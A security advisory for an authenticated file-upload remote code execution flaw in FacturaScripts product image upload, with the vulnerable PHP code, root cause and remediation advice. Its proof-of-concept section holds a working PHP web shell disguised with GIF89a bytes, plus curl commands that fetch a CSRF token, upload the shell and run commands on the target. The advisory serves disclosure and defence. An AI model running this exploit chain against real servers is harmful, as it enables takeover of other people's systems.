GHSA-vf3q-frmr-vrr9
FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | facturascripts/facturascripts | <= 2025.81 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
## Summary
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
---
## Details
The vulnerability exists in:
`Core/Lib/ExtendedController/ProductImagesTrait.php`
Specifically in the `addImageAction()` method.
### Vulnerable Code
```php
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
```
### Root Cause
- The validation only checks if MIME type contains `"image/"`
- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file
- The system incorrectly identifies the file as `image/gif`
- The file is saved with a `.php` extension in a web-accessible directory
### File Storage Behavior
Uploaded files are stored in:
```
/MyFiles/YYYY/MM/X.php
```
Where `X` is an auto-incrementing ID. This allows direct remote execution:
```
http://target/MyFiles/2026/03/2.php?cmd=id
```
---
## Impact
Successful exploitation:
An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.
---
## Proof of Concept (Manual)
### Step 1: Create malicious file
```bash
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
```
### Step 2: Authenticate
- Login to the application
- Extract `PHPSESSID` from browser cookies
### Step 3: Get CSRF token
```bash
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
```
### Step 4: Upload shell
```bash
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
```
### Step 5: Execute command
```bash
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
```
---
## Affected Products
| Field | Value |
|---|---|
| Ecosystem | Packagist |
| CVE ID | CVE-2026-42879 |
| Package Name | `facturascripts/facturascripts` |
| Affected Versions | <= 2025.81 |
| Patched Versions | Not yet patched |
| Fixed in | Pending |
---
## Remediation Recommendations
1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type
2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension
3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution
4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME
## Credits
- **Discoverer**: Abdullah Alwasabei / Guzrex
References
External links from the advisory. They lead to third-party sites.